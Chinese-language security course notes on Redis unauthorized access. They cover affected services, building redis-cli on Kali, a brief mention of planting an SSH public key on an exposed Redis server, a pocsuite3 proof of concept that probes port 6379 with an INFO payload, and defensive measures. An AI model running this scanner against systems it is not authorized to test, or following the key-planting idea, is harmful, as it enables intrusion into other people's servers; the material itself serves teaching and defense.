第五章5.1redis未授权访问漏洞

5.1未授权访问漏洞

在安全配置，权限认证，授权页面存在逻辑缺陷，导致其他用户可以直接访问，从而引发权限可被操作，数据库网站等敏感信息写偶。目前存在未授权访问漏洞的服务包括：NFS,Samba,LDAP,Rsync,FTP,Gitlab,Jenkins,MongoDB,ZooKeeper等

5.1.1redis未授权访问漏洞介绍

kali下载按照redis客户端redis-cli

1.获取redis资源

　　wget http://download.redis.io/releases/redis-4.0.8.tar.gz

2.解压

　　tar xzvf redis-4.0.8.tar.gz

3.安装
　　cd redis-4.0.8
　　make
　　cd src
　　cp src/redis-cli /usr/local/bin/
　　make install PREFIX=/usr/local/redis

4.移动配置文件到安装目录下

　　cd ../

　　mkdir /usr/local/redis/etc

　　mv redis.conf /usr/local/redis/etc

1.先在kali生成ssh密钥，将公钥传入redis服务器

ssh免密钥失败的原因

1.目录权限
.ssh目录权限id_rsa,id_rsa.pub
用户锁住的目录权限 700
2目标的ssh设置问题

pocsuite-poc
通过socket函数远程连接主机Ip和端口号，发送Payload,利用recvdata函数接受目标主机返回的数据。当返回的数据中含有’redis version’字符串，说明有漏洞

import socket
from pocsuite3.lib.utils import url2ip
from pocsuite3.api import POCBase, Output, register_poc, logger, POC_CATEGORY, VUL_TYPE


class DemoPOC(POCBase):		#实现类DemoPoc,继承自POCBase
    vulID = '1.1'
    version = '1.1'
    author = ['1']
    vulDate = '1.1'
    createDate = '2020/10/10'
    updateDate = '1.1'
    references = ['redis']
    name = 'redis_未授权访问'
    appPowerLink = 'redis'
    appName = 'redis_未授权访问'
    appVersion = '1'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        REDIS
    '''
    samples = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE
    protocol = POC_CATEGORY.PROTOCOL.REDIS

    def _verify(self):
        result = {}
        payload = b'\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = self.getg_option("rhost")
            port = self.getg_option("rport") or 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and b'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['Info'] = "Redis未授权访问"
                result['VerifyInfo']['URL'] = host
                result['VerifyInfo']['Port'] = port
        except Exception as ex:
            logger.error(str(ex))
        finally:
            s.close()
        return self.parse_verify(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

5.1.4防御措施
1）禁止远程使用高危命令
2）低权限运行redis服务
3）禁止外网访问redis
4)防止用户添加新的公钥，将authorized_keys权限设置为对拥有者只读